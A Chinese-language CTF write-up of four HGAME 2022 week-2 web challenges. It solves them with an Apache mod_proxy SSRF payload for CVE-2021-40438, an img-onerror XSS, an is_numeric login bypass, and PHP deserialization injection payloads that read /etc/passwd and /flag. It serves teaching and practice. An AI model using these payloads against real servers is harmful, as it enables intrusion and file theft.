HGAME-week2-web-wp

時空怡夢笙兮發表於2022-02-17

hgame第二週總結

1.webpack-engine

我不懂,但是真的剛開啟就出來了,一臉懵逼(wp說是sourcemap沒關

QQ圖片20220127225136 QQ圖片20220127225215

hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}

2.Apache!

CVE-2021-40438復現,ssrf攻擊

先搭一個環境

QQ圖片20220204191119 QQ圖片20220204191139 QQ圖片20220204191142 QQ圖片20220204191444

然後進入反代理的頁面

QQ圖片20220204191447

然後bp發包

QQ圖片20220204191212 QQ圖片20220204191215

上面這個不對,502,503什麼的錯誤

QQ圖片20220210112216 QQ圖片20220210112220

2021 年 Apache 的 mod_proxy 模組報了個 SSRF 漏洞(CVE-2021-40438),利用這個漏洞直接訪問 http://internal.host/flag 即可拿到 flag 。
唯一不同是,網上的 exp 大多是 Apache 直接作為代理伺服器的情況,這題給了 Apache 的配置檔案 https-vhosts.conf, '/' 提供靜態資源服務, '/proxy' 提供代理服務。

payload (在漏洞環境下)

/proxy?unix:a{5000}|http://internal.host/flag

最終hgame{COng@tul4ti0n~u_r3prOduced_CVE-2021-40438}

3.[At0m的留言板]

找到偵錯程式裡的小提示

QQ圖片20220217152036

auth0r使用let,flag使用var(因為使用 var 可以利用 Object.keys(window)拿到全域性變數 flag 的變數名,而使用let的話無法獲取。

QQ圖片20220217152041

控制檯驗證+觀察得知留言板的內容是類名元素為content來顯示的

先顯示出所有全域性變數

document.getElementsByClassName('content')[0].innerText = Object.keys(window)
QQ圖片20220217153654

這裡試了一下flag,發現不行,可能是flag的名字變形了,這裡已經沒有出路,試試那個公眾號吧。

公眾號的主要功能是將使用者輸入的文字在網站中以留言框的形式展現出來,說明可以執行js程式碼,那就將所有變數提取到文字區

先試一試是不是xss,還真是

QQ圖片20220217160732

然後使用如下語句(img是網頁的影像標籤,src屬性是檔案路徑,onerror相當於用js事件控制,所以在各個瀏覽器都能相容

<img src=1 onerror="document.getElementsByClassName('content')[0].innerText = Object.keys(window)">
QQ圖片20220217161650

確定變數名F149_is_Here,拿到flag

QQ圖片20220217161825

方法二:

Object.values(window)直接讀取這些全域性變數的內容

QQ圖片20220217162120

方法三:

由於flag定義在了一個script標籤裡,直接可以document.scripts讀出裡面內容

QQ圖片20220217162510

4.一本單詞書

有內容轉載三篇部落格(最終payload可以有很多種

https://ethe448.github.io/2022/01/21/HGAME2022-wp/#toc-heading-21

http://www.pdsdt.lovepdsdt.com/index.php/2022/02/04/hgame2022-week2/

https://mochu.blog.csdn.net/article/details/122631962?spm=1001.2014.3001.5502

hint提示www.zip

開啟看原始碼

首先檢視最有可能存在命令執行的檔案ping.php

image_1fquiitjm4h97s3oa91j08f515i

沒有,再檢視admin_check.php,沒有,那就login.php

image_1fquinlq41cihhe81n7v1gm311836c

顯然,不允許資料的值為純數字,所以我們要對is_numeric()進行繞過

百度了一下發現該函式可以通過十六進位制繞過或者%00進行繞過,這裡使用%20(即1080後面加空格進行繞過

username=adm1n
password=1080 

就可以登入

QQ圖片20220217164054

如果跳轉出現警告,貼一下其他大佬的做法

QQ圖片20220217164257

根據index.php,大致邏輯就是將輸入的傳入get.php和save.php進行處理

image_1fquj9dgf6t81tcms3r6k1l258q

頁面的資料處理在get.php和save.php

save.php

<?php
session_start();
include 'admin_check.php';

function encode($data): string {
    $result = '';
    foreach ($data as $k => $v) {
        $result .= $k . '|' . serialize($v);
    }

    return $result;
}

function saveSessionData() {
    $filename = "/tmp/".$_SESSION['unique_key'].'.session';
    $data = json_decode(file_get_contents("php://input"));
    $str = encode($data);
    file_put_contents($filename, $str, FILE_APPEND);
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    saveSessionData();
} else {
    echo 'method not allowed';
}


將傳入的單詞的key和value寫入檔案中,並利用|來將key和value的序列化之後的值分隔。

encode函式比較直觀,是對我們的資料進行序列化儲存,saveSessionData主要是獲取資料同時呼叫encode函式將資料儲存到指定位置,該檔案是由登陸時產生的key進行命名的,除錯一下經過encode傳輸的資料,image_1fqumkb4fqov15581rd7dol1aj897資料將我們value進行序列化儲存了

get.php

<?php
session_start();
include 'admin_check.php';
include 'evil.php';

// flag is in /flag

function decode(string $data): Array {
    $result = [];
    $offset = 0;
    $length = \strlen($data);
    while ($offset < $length) {
        if (!strstr(substr($data, $offset), '|')) {
            return [];
        }
        $pos = strpos($data, '|', $offset);
        $num = $pos - $offset;
        $varname = substr($data, $offset, $num);
        $offset += $num + 1;
        $dataItem = unserialize(substr($data, $offset));

        $result[$varname] = $dataItem;
        $offset += \strlen(serialize($dataItem));
    }
    return $result;
}

function loadSessionData(): Array {
    $filename = '/tmp/'.$_SESSION['unique_key'].'.session';
    if (file_exists($filename)) {
        $str = file_get_contents($filename);
        return decode($str);
    } else {
        file_put_contents($filename, '');
        return [];
    }
}

echo json_encode(loadSessionData());

首先檔案告訴了我們flag位置,其次分析兩個function,decode函式主要是對傳入的資料進行反序列化輸出,與剛才save.php中的encode函式互相對應,可以看到encode函式是通過“|”分割key和value的,而decode函式則是通過“|”來進行資料判斷,對“|”後來的資料進行反序列化操作。這裡就存在一個問題,我們可以通過傳輸資料中新增“|”以此來利用decode函式的反序列化進行執行,同時檢視evil.php發現了獲取flag的點

看一下evil.php

image-20220129141359385

看見wakeup方法,再聯絡get.php時的unserialize可以猜測這裡是要利用反序列化讓file=/flag然後令flag變數的值變為flag再利用get.php將其讀出來

這裡要注意序列化的內容要在填在單詞的位置,將其作為陣列的key而不是value,否則在encode函式時會對value再進行一次序列化導致payload改變,無法執行反序列化操作

image-20220129184316177

還要在反序列化的payload前新增|符號

讓|後的部分執行decode函式中的反序列化

將evil類中的file賦值為/flag,從而讓flag=/flag檔案中的內容

這裡的if過濾沒啥用

image-20220129185352257

最終paload:

{|O:4:"Evil":2:{s:4:"file";s:4:"flag";s:4:"flag";N;}

image-20220129185511329

方法二:evil裡面存在file_get_contents,至此我們可以利用evil.php生成payload,再通過get.php進行觸發,構造payload,嘗試讀取檔案

<?php

class Evil {
    public $file="/etc/passwd";
    public $flag="flag{}";

}

$data=new Evil();
echo serialize($data);
//O:4:"Evil":2:{s:4:"file";s:11:"/etc/passwd";s:4:"flag";s:6:"flag{}";}

在傳輸資料時要注意,如果payload寫在value處,會在save.php中被序列化掉,所以要將payload寫入key處

{"1|O:4:\"Evil\":2:{s:4:\"file\";s:11:\"/etc/passwd\";s:4:\"flag\";s:6:\"flag{}\";}":"123"}
image_1fqun9j4q1t4118ab4ru44lgla1

訪問get.php

image_1fqunal171l081evo5aj3r19scae

成功獲取到資料,此時修改讀取檔案為/flag即可獲取到資料

{"1|O:4:\"Evil\":2:{s:4:\"file\";s:5:\"/flag\";s:4:\"flag\";s:6:\"flag{}\";}":"123"}
image_1fqunehqja5pigb1nfd115111laar

三、

官方wp:這題的核心在於 encode 和 decode 兩個函式,這兩個函式取自 imiphp 框架(連結),和 Session 持久化有關。

encode 函式將鍵值型資料編碼為 鍵|serialize(值) 的形式,如
{"a": "1","b": "s"} 編碼為 a|s:1:"1";b|s:1:"s"。
decode 函式會呼叫 unserialize 函式將編碼後的資料恢復,具體來說就是 | 後面到下一個鍵名之間的內容換被傳遞給 unserialize 函式。
當鍵中包含 | 符號時,就可以注入任意的反序列化後的資料。
比如 {"a|s:2:"22";b":"2"} 這樣的資料, "a|s:2:"22";b" 做為鍵,資料經過 encode 函式之後變為 a|s:2:"22";b|s:1:"2",decode 解碼後得到的物件為 {"a":"22","b":"2"}。

通過這樣的方式就可以反序列化任意類了,將 Evil 類的 file 屬性設定為 /flag即可。

官方payload:{"a|O:4:"Evil":2:{s:4:"file";s:5:"/flag";s:4:"flag";N;};b":2}

下面是另一種payload:name|O:4:"Evil":1:{s:4:"file";s:5:"/flag";}

QQ圖片20220217174300